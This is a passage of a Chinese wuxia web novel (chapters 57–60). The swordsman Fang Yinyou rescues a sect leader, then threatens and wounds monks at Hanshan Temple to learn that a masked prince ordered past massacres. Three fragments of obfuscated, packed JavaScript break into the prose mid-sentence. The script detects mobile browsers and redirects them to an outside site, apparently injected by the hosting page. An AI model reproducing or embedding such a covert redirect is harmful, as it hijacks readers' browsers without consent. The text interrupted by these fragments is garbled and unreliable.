所以,这里对朝廷来说,是一个不服管教的无礼之地,但是对江湖人来说却是一方乐土,可以肆意妄为,不用担心哪天会有官兵前来端了他们的老巢。 岭南大大小小的江湖门派不少,除了雪窦山上的佘道教,还有玄武山上的玄武门、梧桐山上的凤鸣教... 至于传言被方隐攸屠了满门的罗浮门和莲花派所在的罗浮山和莲花山上也已经有了新的门派盘踞。 至于方隐攸记忆中的寒山寺便在岭南最东边的天露山上。 “直接去寒山寺吗?”柳扶斐问道。 方隐攸点点头,眼角余光忽然瞥见旁边巷子里扫过一个身影,那人一手执剑一手握拂尘,白色衣裳上布满血痕。 “等等。”说罢,方隐攸立刻蹿了出来,追着那人的身影进了巷子。 柳扶斐虽然还没反应过来发生了什么,但是下意识的也追着方隐攸过去了。 巷子不宽,不过三尺,方隐攸一进来就闻到了一股浓郁的血腥味,那个白色的身影在拐角处一闪,立刻消失不见。 方隐攸眉心一皱,立刻翻到屋顶上,几步跑到那人面前,然后翻身落地,可生剑抵住他的脖颈,“跑什么?” 那人看到方隐攸,神色越发慌张,手里的长剑和拂尘落到地上,他直接跪在方隐攸面前,哆哆嗦嗦的求饶,“大侠饶命,放我一条生路吧...” 方隐攸看着地上的佛尘,“佘道教发生了什么?你们教主呢?” 那人一听,忽然醒悟,诧异的问道:“你人认得我们教主?” 方隐攸懒得和他说些有的没有,手上的可生往前一抵,“说!” “大侠快去!快去救救我家教主!他...他只怕是——” 他嘴里的话还没说完,方隐攸直接翻身上屋顶,一把扯住迎面而来的柳扶斐,语速极快的解释道:“先去雪窦山,叶沉君有危险。” 柳扶斐脚步一顿,也不再磨蹭,直接跟着他疾步朝着雪窦山奔去。 雪窦山据此不过十二里,是城郊西边的一座山。 佘道教在江湖上虽然没有韩桓临的南山派有地位,但是它是名门正派,门内教徒在江湖上常行侠仗义,所以名声极高,四十多年来还从未听闻过谁敢杀到雪窦山上去的。 雪窦山山势并不陡峭,山也不高,佘道教的几幢高楼立在山头,雕梁画栋看上去十分气派。 才到山脚下,便看到上山的石阶上遍布尸体,除了佘道教教徒,还有许多看不清身份的人。 方隐攸侧过脸看向柳扶斐,“注意安危。” 柳扶斐嘿嘿一笑,抽出腰间软鞭,朝他挑挑眉,狂妄的说道:“别小看本公子的武力!” 方隐攸点点头,眼神冷冽的望向山顶的佘道教的大门,“走!” 说罢,两人急速飞跃,迅速接近山顶,随之而来的是越来越清晰的打斗声以及空气中越来越浓郁的血腥味。 一踏进佘道教,便看到宽敞的院子里堆了几十具尸首,还有许多人正在拼命厮杀。 幸好佘道教人穿一身白衣,好辨认,方隐攸和柳扶斐交换一个眼色,各自朝着一方,救下即将别人一刀毙命的教徒。 方隐攸的招式狠且快,长剑一挥便杀倒一大片,他提着几个佘道教徒的衣领落到院中的假山上,低声一呵,“你们教主在哪里?” 几人并不认识方隐攸,但是看他好歹也是自己的救命恩人,于是也并未隐瞒,伸手望后院一指,“苍羽楼!” 方隐攸点点头,落到地上后长剑挽出一道剑花,裹着巨大的内力,直接朝着身前一挥,将围在边上跃跃欲试的人尽数拦腰斩断。 随后,他朝着柳扶斐高喊一声,“走!” 两人迅速的翻过院墙,直接朝着后院奔去。 方隐攸来过佘道教几次,对这里的布局十分了解,他握住柳扶斐手腕,翻过几座假山长廊,十分轻易的就到了苍羽楼前。 不出意料的,这里也围了许多人,苍羽楼的门早已经被破开了,清晰可见里面正在鏖战的双方。 方隐攸和柳扶斐直接冲进楼里,然后反手将大门关上。 瓮中捉鳖,一个都别想逃。 苍羽楼有四层,一楼最为宽敞,拼杀的人也最多,他们早就杀红了眼,压根没有注意到有人闯了进来,还是在方隐攸的长剑划过他们的脖颈时才反应了过来。 但是,为时已晚。 方隐攸和柳扶斐如入无人之境,直接上了四楼。 然后便看到了被八人围在中间的叶沉君,以及他背后那个看上去不过十岁的少年。 叶沉君的拂尘落在地上,上面的拂须已经被尽数斩断,只留下光秃秃一根木杆,手中的长剑上满是血痕,但是更多的血痕在他身上——黑白的水墨画被泼上了猩红的朱砂,看上去刿目怵心。 叶沉君愤然的望着身前的众人,“他不过一个幼子,你们为何要赶尽杀绝?” 方隐攸又看了一眼他背后的少年,发觉他年岁虽然尚小,但是那双漆黑的狐狸眼中的怨恨可不少。 他盯着周围的几人,是要将他们生吞活剥的怨恨。 方隐攸敛起眼中疑惑,出声打破眼前剑拔弩张的氛围。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810196|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谁给你们的胆子,竟然敢杀上佘道教?” 方隐攸的语气十分散漫,带着几分调笑,但是却惊得几人纷纷回头。 也是在这时,他们才反应过来,楼下厮杀似乎停了。 方隐攸扯了扯嘴角,在他们提防的视线中,坦然的走到叶沉君身边,然后指着他背后的少年,“这祸事是他招来的?” 少年一听,脸色瞬间变得阴沉,看着方隐攸的眼神变得狠毒起来。 方隐攸见状呵呵大笑,“还是个有脾气的。” 叶沉君疑惑的望着他,“你怎么来了?你不是在并阳吗?” “我若不来,今日就是你叶沉君的死期了。” 说罢,他环顾周围的人,“你们是?” 一个身穿绛色长袍,面容阴柔的男子扫他一眼,呵呵笑道:“你又是谁?” 方隐攸双手环胸,朝他抬抬下颌,“方隐攸。” 话音一落,原本围成圈的八个人立刻站成一排,手中的兵器全部护在了身前,看着他的眼神都变得警惕了起来。 方隐攸扯扯嘴角,“怎么,怕了?” 阴柔男子的眉峰一挑,手指向叶沉君背后的那个少年,“你可知他是谁?” “不知。”方隐攸眼角余光扫一眼少年,“怎么了?” 男子握紧手里的长剑,眼神凶狠的盯着少年,“他乃是七星山瑶光派掌门辛怀林的独子辛端溪!” 方隐攸闻言眼神一闪,意味深长的撇一眼辛端溪。 人有好坏之分,江湖门派也是如此,瑶光派、明教、玉衡门是当世臭名昭著的三大邪教。 既然辛端溪落到了被人追杀的境地,那瑶光派只怕也是走到尽头了。 方隐攸忽然伸手掐住辛端溪的脖颈,然后用力的将他从叶沉君的背上摔倒地上。 辛端溪猛地吐出一口鲜血,整个人疼的缩成一团。 “方隐攸!” 叶沉君惊呼一声,立刻朝着辛端溪扑去。 方隐攸比他更快的闪到辛端溪身边,然后掐住他的脖颈将他抬到空中,轻蔑的朝着几人说道:“他能成什么气候?值得你们这般赶尽杀绝?” 阴柔男子掐着兰花指撩起身前的一缕头发,似笑非笑的盯着脸色涨成青紫色的辛端溪,“成不成得了气候有什么所谓,既然是辛怀林的种,那就该死。” 方隐攸将辛端溪扔到叶沉君怀里,往前一步,漠然的盯着他,问道:“我若是执意要救呢?” “救一个邪教中人?”男子猛地一甩衣袖,手指着方隐攸的面门,“方隐攸,你就不怕那群名门正派要你的命吗?” 方隐攸朝他轻狂一笑,“怕?那是个什么东西?” 话音一落,方隐攸的神情瞬间变得冷冽,抬腿一脚,直接将男子踹的飞出去几丈远,狠狠的砸在墙上。 方隐攸冷眼扫过剩下几人,“一群鼠辈,也敢威胁我?” 众人见状,往后退一步,手里的兵器要挥不挥,都不敢再挑衅方隐攸。 方隐攸冷冷道:“还不滚?” 在地上滚了几圈才堪堪停下来的男人颤颤巍巍的爬起来,手按住胸口呼几口长气,眼神愤恨的瞪着方隐攸,“方隐攸!你给我等着!” 随后,他便匆匆的往楼下跑去,剩下的几人一惊,也立刻跟着跑了。 方隐攸转身看向叶沉君,“你救这小子做什么?” 58.寒山寺 叶沉君长叹一口气,将辛端溪扶到墙边坐下,然后走到方隐攸面前,缓缓道:“此事说来话长...” “他爹曾救过我一命,眼下瑶光派受到明教和玉衡门的围剿,门众死伤无数,只剩下他一人逃了出来,我必然要救。” 方隐攸瞬间了然,“刚刚那几个都是明教和玉衡门的人?” 叶沉君点点头,“都是。” 柳扶斐听他们说了一会,有些好奇的凑过来,“这明教和玉衡门为什么要围剿瑶光派?” “他们三个门派总是大大小小争端不断,这次也不知道具体是为何。”叶沉君看向辛端溪,“他尚年幼,便落得如此下场,也是可怜。” 方隐攸走到辛端溪面前蹲下,手捏着他的下巴,仔细端详片刻后,啧啧几声道:“叶沉君,他和佘道教你必须舍弃一个了。” 名门正派的教主是不能和邪教中人有所牵扯的。 “我知道。”叶沉君眼神晦暗,“我会将教主之位传给旁人,再带着他隐居山林。” “可惜,你我的约定不能作数了。” 虽然两人都知道这本就是一个不能实现的诺言,不过叶沉君的语气却是含了十足的遗憾。 方隐攸嫌弃的甩开辛端溪的下巴,然后将手在他的衣襟上仔细擦拭,盯着他那双阴沉的狐狸眼缓缓道:“你可真是个祸害。” 辛端溪咬紧压根,眼白顿时腥红一片,手狠狠的握成拳,愤怒而隐忍的瞪着方隐攸。 方隐攸见状仰头大笑两声,起身俯视着辛端溪,“小狼崽子。” 叶沉君上前一步,朝方隐攸举手作揖,“今日多谢了。” 方隐攸散漫的摆摆手,“小事一桩,客套这些做什么?” 叶沉君于是换了个话题,问道:“长生诀一事如何了?” “那长生诀是假的。” 方隐攸走到立柱边,轻轻倚在上面,继续道:“具体如何,过不了几日你就能知道了,江湖里的消息传的快。” “那你们...”叶沉君的视线扫过方隐攸和柳扶斐,“来岭南做什么?” 叶沉君一说,方隐攸忽然想起来,他们两人似乎就是在四年前的清明节前后相识的。 他心里一动,朝他抬抬下巴,“你还记得我们初见时的情景吗?” 叶沉君闻言一愣,脸色瞬间涨红。 他踌躇的望着方隐攸,“你不记得了?” “只隐隐约约有些记忆,但是很模糊。” 叶沉君思忖片刻,缓缓道:“四年前的清明那天下着大雨,戍时三刻时分,我如往常般去后院沐浴...我才退下衣裳,你便闯了进来。” 叶沉君瞟一眼方隐攸,发觉他神色自若,想必是当真忘了那日的场景。 叶沉君垂下眼,敛下心中思绪,语气变得凝重起来,“那时你浑身湿透,雨水混着血水流了满地,整个人杀气腾腾,看上去如鬼魅罗刹。” “我问你来做什么?” “你说你要取我性命。” 思往事,顿成昔。 叶沉君捡起旁边的衣裳穿好,望着方隐攸试探的问道:“我与你无怨无仇,你为何要杀我?” 方隐攸并未解释,只皱着眉,喃喃低语道:“弟弟让我杀了你。” “弟弟?”叶沉君越发不解,他上下打量着面前这个突然闯进来的年轻人,“你弟弟叫什么?” “方宇周。” “我与他素未谋面,你想必是弄错了。” 方隐攸愣住了,他捏住手中的可生剑,眼神变得困惑。 叶沉君看着他剑刃上的血迹,温声安抚:“你弟弟不会让你来杀我。” “可是,我必须杀了你。” “你是刺客?” “上山...”方隐攸的语气变得僵硬而呆滞,“杀你...” “刺客杀人,是为了银子,你帮我去这后山上猎一只赤狐,我便给你银子,这样,你不用杀人,也可以得到银子。” 方隐攸皱着眉,“听不懂。” 叶沉君上前一步,手轻轻落在他的肩膀上,才发现他浑身冰凉,犹如一具尸首。 叶沉君敛起眼中情绪,指着方隐攸方才一脚踹开的门扉,“去吧,猎一只赤狐。” 门外的夜幕雨帘下,屋檐下的灯笼照不亮方寸之地,只能看到黑漆漆的一片和风雨的呜咽声。 忽然,一道闪电骤起,随后便是一声震耳欲聋的雷鸣。 方隐攸一直脸色阴沉的望着门外,就在叶沉君以为他不会动时,他忽然闪出门外,跃入暴雨中。 叶沉君看着地上方隐攸留下的脚印,上面还有残存的血迹。 方隐攸回来的很快,身上的血腥味变淡,惨白的脸上满是水痕,手里还提着一只赤狐。 他将赤狐扔到叶沉君的面前,溅起来的血水将叶沉君的鞋袜全部弄脏。 叶沉君于是递给他一锭银子,“多谢。” 方隐攸手心的掌纹很深很干净,手心的银子在烛光中闪烁着炫目的光,恍惚间他在银锭上看到了弟弟那张温润如玉的脸。 “银子...弟弟...杀人。” “杀人...银子...弟弟。” “...” 方隐攸浑浊的双眼逐渐清明,“我要杀人赚银子,去救弟弟。”说罢,他转身就走,留下一脸错愕的叶沉君。 叶沉君望着倚在立柱上的方隐攸,“之后,我听闻江湖中多了一位刺客,便猜到了是你。” 方隐攸听完叶沉君的回忆,沉思片刻,模糊的记忆并未变得清晰。 脑海里也确实出现了他所说的画面,至于前因后果,自己也并不能串联起来,他就像是作壁上观的旁人,心绪上起不了半点波澜。 方隐攸眉头一皱,“所以,你也并不知道我当时究竟发生了什么,又因何要来取你性命,对吗?” 叶沉君摇摇头,“不知。” 柳扶斐往前一步,凑到方隐攸身边,安抚道:“没事,总会想起来的。” “你们来岭南是为了这件事吗?” “对,我必须得弄清楚四年前的清明前后到底发生了什么。” 叶沉君眼中闪过了然,“有什么我能帮得上忙的,且尽管说。” 方隐攸看向墙边的辛端溪,“你还是尽快带着他离开吧,免得再晚些就走不了了。” 叶沉君抿唇沉默片刻,无奈的点点头,“那便有缘再见了。” 话音刚落,外面忽然电闪雷鸣,乌云倏忽间如高墙塌落,化作豆大的雨滴砸下。 方隐攸走到窗前,隔着雨幕望着周遭飘摇的大树。 “走吧。” 叶沉君应一声,从屋里拿出两把油纸伞递给他们,“就此别过。” 方隐攸和柳扶斐赶到寒山寺时雨还未停,寺庙前石阶上的雨水奔泻而下,来来往往的香客撑着伞,在上面疾步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812736|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而行,溅起的水滴浸湿一大片衣摆。 寒山寺很大,庙堂前院种着几株柏树,柏树笔挺,大风也吹不动分毫。 方隐攸撑着油纸伞,和柳扶斐并肩走进院中,看着院中雕刻得精致的燃纸炉内腾飞的黄纸燃着炽热的火苗。 它正在向佛祖倾诉世间最虔诚的恳求。 一阵风刮来,斜雨飘入炉中,将升腾的火浇灭,只留下一滩湿漉漉的余烬。 方隐攸扯扯嘴角,侧过脸看向柳扶斐,“佛祖在上,可不能杀生。” 柳扶斐轻笑一声,抬头看着前面亮堂的大雄宝殿,里面镀金的佛像清晰可见,慈眉善目,姿态优雅,俯视着堂下跪拜的香客。 “都依你。” 因着一句不杀生,方隐攸收敛了眼中的杀气,扮作一个寻常香客,手执着三炷香,跪在蒲团上,仔细的仰望了佛像许久。 佛家常说,“如来不应以具足诸相见。”那这尊高约三丈的石像,真的是佛吗? 柳扶斐顺着方隐攸的视线看过去,“怎么了?” “这佛像值不少银子吧?” 柳扶斐闻言一愣,继而大笑出声,“不过十两金而已。”说罢,他起身从怀里掏出一锭银子放入功德箱内,然后看向方隐攸,“值钱的是这功德箱。” 捧着功德箱的小沙弥一听,手下意识的往后一缩,警惕的打量着两人。 “施主说笑了,这乃是各位施主积攒的功德福报,怎么可以用钱财多少来衡量?” 方隐攸起身将手里的香插入香炉中,走到沙弥面前,“你们的住持在哪?” “住持在后院施粥。” 方隐攸于是和柳扶斐走到后院廊中,一眼就看到了正在木棚中布施的住持,他年事已高,脸上布满沟壑,弓着身子,像是一把拉开的长弓。 木棚外撑着伞排队的人还有许多,他们都期许的望着棚内的住持,连肩头上落了雨都没注意。 “等等吧。” 方隐攸的视线落在队伍最后面的一个小姑娘身上,“等他布施完。” 柳扶斐点点头。 之后,两人退回了前院,在檐下看着来来往往的香客虔诚的走进宝殿,然后满怀希望的走出来。 方隐攸倚在石柱上,望着雨中的柏树,“为什么会有人将希望寄托在神明身上?” “因为所求不可为。” 方隐攸回望他,“什么意思?” 柳扶斐抬手将方隐攸身前的一缕头发撩到背后,替他抚平肩头的衣裳。 “贪财而无取财之道者求财、贪功而取功无门者求功。想成事,却不知如何成事,便只能祈求神明,降下恩赐。” “这般,自己便可不劳而获。至于事究竟需如何成,也就不再重要。” 方隐攸撇撇嘴,“天底下哪有这样的好事?想登山那便一步一步往上爬,无路就踩出一条路来,求佛祖保佑自己睁眼就能到山头,那简直是痴人说梦。” “你说得对。”柳扶斐往后退一步,微弯着腰盯着他露出蔑然神色的眉眼,“求神拜佛者都是一群痴心妄想之徒,若心中真有所求,就该想办法,一步一步的将他攥在手心。” 说着,他抬起手,修长白净的手指朝着宝殿内的佛像一指,“求它——不牢靠。” “施主此言差矣。” 一道略显沧桑沙哑的声音在身后响起,两人一回头,便看到一身袈裟的住持正望着他们浅笑。 59.住持殊观 方隐攸的眼神瞬间变得凛然,他似笑非笑的盯着住持,“不知住持有何高见?” 住持双手合掌于胸前,朝着两人见礼,“诸事皆有因果,求佛非因,便也不会有果,却能让拜佛者知晓自己心中所求究竟是何。” 住持缓步越过两人,走到殿门前,仰头望着慈悲的神佛。 “叩拜,叩的从来不是我佛,而是人心。” 说罢,他转身看向方隐攸,“老衲法号殊观,等候施主许久了。” 方隐攸嗤笑一声,冷眼盯着他,“你知道我会来寻你?” 殊观轻笑一声,低哑的声音像是在摩挲铁衣,“老衲既种下了因,必然会有果。” 此时天色已晚,又是雨天,寒山寺里的香客已经走了许多,剩下的零星几个人也都行色匆匆的朝着寺外走去。 方隐攸眼神一沉,直接掐着殊观的脖子将人推进宝殿,紧随而来的柳扶斐顺势关上了殿门,整个宝殿里除了他们三人,便只剩下一座高耸的佛像。 方隐攸将人按在蒲团上跪下,“把你知道的一切都说出来。” 方隐攸拔剑出鞘,用剑锋抵着殊观的脖子,眼神变得凶狠,威胁道:“有半句假话,我就杀了你这寒山寺中所有人。” “你虽已经是半身入土的老叟,但是你的那些小沙弥,可不是。” 殊观脸色不变,依旧眼神慈悲的望着佛像,脸上的沟壑顺流而下,在脖颈上耷出一条条崎岖的山。 他真的已经很老了,头顶、脸上,手背上都长满了黑色的斑点。 “敢问施主,一生何求?” 方隐攸嗤笑一声,“在下今年不过二十一,以后的年岁还长着呢,谈什么一生何求?” “眼下有何求?” 方隐攸轻蔑的扫一眼身侧的佛像底座的莲花,“别说些浪费时间的话,四年前究竟发生了什么?” 殊观不赞同的摇摇头,“施主心太急了。” “且听我慢慢道来。” 方隐攸眉头一皱,收剑入鞘后往后退一步,靠在柳扶斐的肩膀上,极力的压制着心里的戾气,嘲讽的说道:“老秃驴,你最好是快点说,别没等你说完就升了天,这满寺的小僧无辜受罪。” 殊观看向掐着与愿印的佛手,缓缓道:“心无挂碍,无挂碍故,无有恐怖。” “施主若能放下心中执念,便不会受其扰,魔障自然就消了。” 方隐攸仰头大笑一声,用剑鞘轻拍两下殊观的肩膀,“老东西,我入寺不为拜佛,也不会皈依。执念放不下,仇怨解不了,你若是再说这些鬼话——” 方隐攸眼中腾起一阵杀意,反手一剑斩断供桌,上面的供果与香炉散落在地,未燃尽的香烟落在殊观的袈裟上,瞬间烧出一个窟窿。 “我便一剑割下你的头颅,挂在宝殿檐下,让你的血给入寺的人开路!” 殊观捡起燃香,一缕青烟寥寥升空,他长叹一口气,“罢了罢了,施主执迷不悟,老衲规劝不了。” “只是执之失度,必入邪路。还望施主知晓一切后,切莫被仇恨蒙蔽了双眼” 方隐攸抬手装模作样的掏掏耳朵,姿态散漫的睥着殊观。 “四年前的清明午时,你与一位男子同入我寺。他带一面具,只露出一双眼睛。” “他向我讨要了一间静室,你与他在里面待了足足两个时辰。” 殊观的语气变得遗憾,“起初,老衲并未将此事放在心上,可是当日,老衲便看到莲花山与罗浮山上起了漫天的大火...是暴雨也无法扑灭的火。” “远远的望着,从山上下来的那人——是你。” “那时,老衲便知晓自己在无意间促成了恶果。” 方隐攸审视的看着殊观,踱步到他跟前,问道:“他有什么特征?” 殊观摇摇头,“没有。” 方隐攸眼中闪过一丝愤怒,用脚狠狠的踹倒身侧的烛台,怒吼道:“不可能!若只是寻常两人,你凭什么会记得这么清楚!还心知我一定会来找你?” 说罢,方隐攸嗖的一声闪出殿外,将躲在门口偷听的小沙弥一把拽了进来扔在殊观面前。 他毫不犹豫的一剑划开沙弥的左臂,鲜血瞬间流了满地,沙弥疼的满头大汗,却不敢呼痛,只能蜷缩成一团,可怜巴巴的望着殊观。 “你若不说,那我就用他的头颅祭拜神佛!” 殊观看着小沙弥,浑浊的眼中露出一个悲悯的神情,“施主,难道就不怕自己与他犹如卵与石、蛇与龙吗?” 柳扶斐闻言上前一步,淡淡道:“你只管说就是,就算那人是九天上的龙,我柳扶斐也能助他将这龙剔骨抽筋。” 殊观闻言一愣,仰头打量他半晌后了然的点了点头,继续道:“他的那双眼睛,清澈却浑浊,眼神平和也狠厉,杂糅纷错、诡异莫测。” “而你——”殊观看向方隐攸,“眼中只有怨恨与不安。” 说到这里,殊观顿了顿,从蒲团上起身,将面前的小沙弥扶了起来,“出去包扎一下。” 小沙弥惊恐的望向方隐攸,并不敢有所动作。 方隐攸轻哼一声撇过脸,小沙弥于是慌忙的跑了出去,还不忘将殿门关好。 殊观仰头望着佛像,将手里终于燃尽的香放在佛像的莲花座上,然后回头看向方隐攸,“他是宫里的人。” 方隐攸闻言一惊,下意识的往前一步,握紧了手里的可生剑。“当真?” 殊观点点头,“老衲第一眼就看出来了,虽然他极力隐藏,但是皇室中人与生俱来的贵气与傲气是掩盖不住的。” “所以老衲才劝施主放下仇恨,何必去做那撼树的蚍蜉?” 方隐攸的神色变得十分难看,他咬紧牙根,愤恨的瞪着殊观,“放下?就算是死无葬身之地,我也必须找到他!” 柳扶斐走到方隐攸身边,安抚的拍了拍他的肩膀,转头看向殊观问道:“除了他是宫中人,你还知道什么?” “施主可知资善堂印香?” 柳扶斐的眼神瞬间一沉,放在方隐攸肩膀上的手下意识的收紧。 方隐攸侧过脸看向他,“那是什么?” “资善堂乃是当今皇子求学的地方,其所用的印香成分特殊且难寻,被称为资善堂印香。” “所以——”方隐攸眼神眈眈的望着他,“他是皇子?” 柳扶斐点点头。 “今朝有皇子三人,二皇子钟季棣、四皇子钟季修、六皇子钟季祐。至于六皇子你已知晓,所以必然不会是他,二皇子和四皇子,外形皆如竹般瘦高...” “管他是谁,反正这京城我是非去不可了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818362|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方隐攸眼神变得凶狠凌厉,“皇子又如何,我方隐攸本就是个目无法纪的江湖歹徒,可不会怕他!” “施主此言过于狂妄。”殊观好言相劝,“权力的威力可比武力强的多。居高位者,翻手可杀万民,又岂是江湖人可以撼动的。” 殊观双手合掌,朝方隐攸见礼,“阿弥陀佛,还望施主行事前细细斟酌,切莫到了穷途——” 殊观看向方隐攸的眼神变得忧郁,“只剩死路一条。” 方隐攸呵呵一笑,语气蔑然的说道:“死路又如何,我一个刺客难道还会怕死?” 话音刚落,柳扶斐连忙惊呼一声,“你是不是忘了还有我呢!”他上前一步捂住方隐攸的嘴,“你说什么死不死的?” 殊观看他们一眼,又看一眼佛像,然后跪在蒲团之上虔诚的叩首,起身时他长叹一句,“天色已晚,两位施主今夜且在寺中暂歇一晚,明日再动身不迟。” 柳扶斐点点头,“如此便谢过住持了。” 殊观离开前无奈的看了他们一眼,过不了多久,就有几个小沙弥走进宝殿,收拾被方隐攸一剑砍断的供桌,然后将他们两人引到了供香客休息的寮房里。 寒山寺的香火旺盛,寮房便也宽敞雅致,只是不知道是殊观吩咐小沙弥时没说清还是小沙弥没听清,安排的寮房里竟然只有一张床,连个矮榻都没有。 柳扶斐嘿嘿一笑,“不如今夜你我共枕?” 方隐攸无所谓的嗯一声,转身坐到屋中的竹椅上朝他抬了抬下巴,“饿了,去弄点吃的。” 柳扶斐于是出去找小沙弥要斋饭吃。 屋里燃着一盏油灯,光十分昏暗,只够方隐攸看清木桌上斑驳的刮痕。 方隐攸抬手撑住下巴,视线落在搭在灯壁上的灯捻上,忽然想到了六皇子钟季祐。 从并阳来岭南的途中柳扶斐就已经将那个蒙面人就是六皇子钟季祐的事告诉了他,他起初倒是有几分惊讶,不明白他一个皇子为何会打一本江湖秘籍的注意。 不过转念一想,世上有人爱吟诗作画便有人爱舞刀弄枪,他虽为皇子,尚武也没什么值得惊讶的地方。 柳扶斐很快就提着一个食盒回来了,里面装着几盘素菜,看上去十分寡淡。 他注意到方隐攸眼里闪过的嫌弃,于是无奈的解释,“这寺庙里的菜就是没有荤腥,今晚凑活一餐,咱们明日就去吃顿好的。” 方隐攸抬眼看向他,打趣道:“往日里柳公子可比我娇气得多,没想到今日还能从你嘴里听到这种勉强迁就的话。” 柳扶斐撇撇嘴,抿着唇夹一筷子鹅黄豆生放到他碗里。 吃完了饭,柳扶斐亲自将食盒送回厨房,回来时手里还端着一碗热气腾腾的莲子羹。 他将羹放到方隐攸面前示意他趁热喝。 “庙里的大香客来了,厨房特意为她准备的,我花了一锭银子买下了,你尝尝味道怎么样?” 方隐攸舀起一勺尝了一口,嫌弃的皱起眉,“太甜腻了。” “是吗?”柳扶斐就着他手里的勺子舔了一口上面的残余,咂咂嘴道:“感觉还行。” 方隐攸将碗推到他面前,“那你吃吧。” “你怎么比我还挑了?” 方隐攸充耳不闻,手轻轻敲了一下碗壁,“和我说说那两个皇子?” 60.局势 “当今皇后无所出,二皇子钟季棣和六皇子钟季祐的生母是贤妃张氏、四皇子钟季修的生母是德妃李氏。” “二皇子为长子,八岁时被封为太子,居于东宫,四皇子为次子,六岁时被封为寿王,居于京城王宅中。” “六皇子钟季祐十岁时被封为雍王,也开了府。” 方隐攸凑近柳扶斐,“宫墙高几丈?王宅院墙高几丈?” 柳扶斐一听就知道了方隐攸心里的打算,于是抬手抵住他的眉心,轻轻抚平他的皱起的眉头,缓缓道:“宫墙高四丈八尺、王宅高两丈三尺。” “且墙边无树无墩,没有任何可以借力的地方,我知道你轻功了得,但是皇宫和王宅你越不过去。” 方隐攸长呼一口气,手用力的按在桌面,指节用力到发白,“就没有办法进去吗?” “自然有。” “什么办法?” “走正门进去。”柳扶斐得意的挑挑眉,“你是不是忘了本公子乃是骠骑大将军之子,要进王宅有什么难的。” “那皇宫呢?” “这...”柳扶斐有些尴尬的摸摸鼻子,“虽然因为眼下无战乱,我爹留任京师兼检校宫城北门驻军,负责北宫门的安危,但是也不能欺君罔上私自放你进去...” 眼看着方隐攸失望的往后挪了半寸,柳扶斐连忙一把手拽住他的手腕,将人拉倒跟前来,信誓旦旦的许诺,“不过我与当朝宰相舒慕谨关系甚好,他时常进出宫门,也与太子有往来,可以托他替你打探消息。” “你我只需要弄清楚寿王钟季修是不是四年前的那个黑衣人就行。” “不过...”柳扶斐说完,忧心忡忡的望着方隐攸,“无论那人是寿王还是太子,你都不可用江湖上的那套来对付他们。” “哪一套?” 柳扶斐用手指敲了敲桌子,“那你且先说说你原本是打算如何做的?” 方隐攸的眼神变得锐利,将手里的可生剑让桌子上一扔,发出一声清脆的声响。 “皇子说到底也是普通人,必然也怕死,可生剑往他脖子上一放,他还敢不放出宇周?” “救出宇周之后呢?” 方隐攸顿时愣住,他抿着唇沉默不语,静静地望着柳扶斐。 “我朝有近百万大军,单论京城驻军就有两万,只要你敢对皇子拔剑,不等你出京城城门,禁军便会迅速来围剿你。” “就算你是江湖第一刺客,你能以一敌万吗?” 柳扶斐伸手盖住方隐攸的手,温声安抚,“儒者,以礼劝之;商者,以利诱之;匪者,以武教之;贵者,以权压之。” “皇子身份尊贵,你想要从他手里救出方宇周,便只能用权力来压制他们。” “让他们不得不将人交出来,而不是你去将人抢出来。” 方隐攸脸色变得凝重,他皱着眉问,“权?我一个连户籍都没有的歹徒如何拥有权?” 柳扶斐往前挪了挪,望着他的双眼,“我有,我来帮你。” 方隐攸嗖的起身,带起一阵风,将油灯中的烛火吹得来回抖动。 “我是个江湖人,可以不在意什么君臣之道,也不用计较什么后果,可是你不同,你爹是朝堂重臣,你回了京城本可以做一个闲散贵公子...” 方隐攸的语气变得生疏,“没必要牵扯到这种事情里面来。” 柳扶斐伸手扯住他的衣摆,轻轻摇了摇,委屈巴巴的望着他,“方隐攸,你又要舍下我对不对?” “本公子多尊贵的身份,可是却甘愿和你牵扯在一起,你不懂得感激就算了,还总是想方设法的要和我撇清关系。” 柳扶斐的语气里多了一丝埋怨,黑白分明的双眼在昏暗的烛火里显得缱绻多情,他的无名指往下一伸,勾住方隐攸的小手指。 “天底下多少人想要和本公子攀上点关系都找不到门路,如今我眼巴巴的要和你纠葛到一起,你不要拒绝,好不好?” 说着,他的手指越发放肆,直接插入方隐攸的指间,与他十指紧扣。 方隐攸反应过来想要挣脱时,早已经失了最佳的时机,只能任由他握着。 柳扶斐撇过脸,偷笑一声,然后回过头来,继续和他四目相对。 “方隐攸,京城是个吃人不吐骨头的名利场,你一个南蛮武夫,没有我的帮衬,不行的。” 方隐攸嗤笑一声,虽然心知柳扶斐所说的都是事实,但是还是忍不住犟嘴,“怎么不行了?大不了我把他们都杀了,要死一起死。” 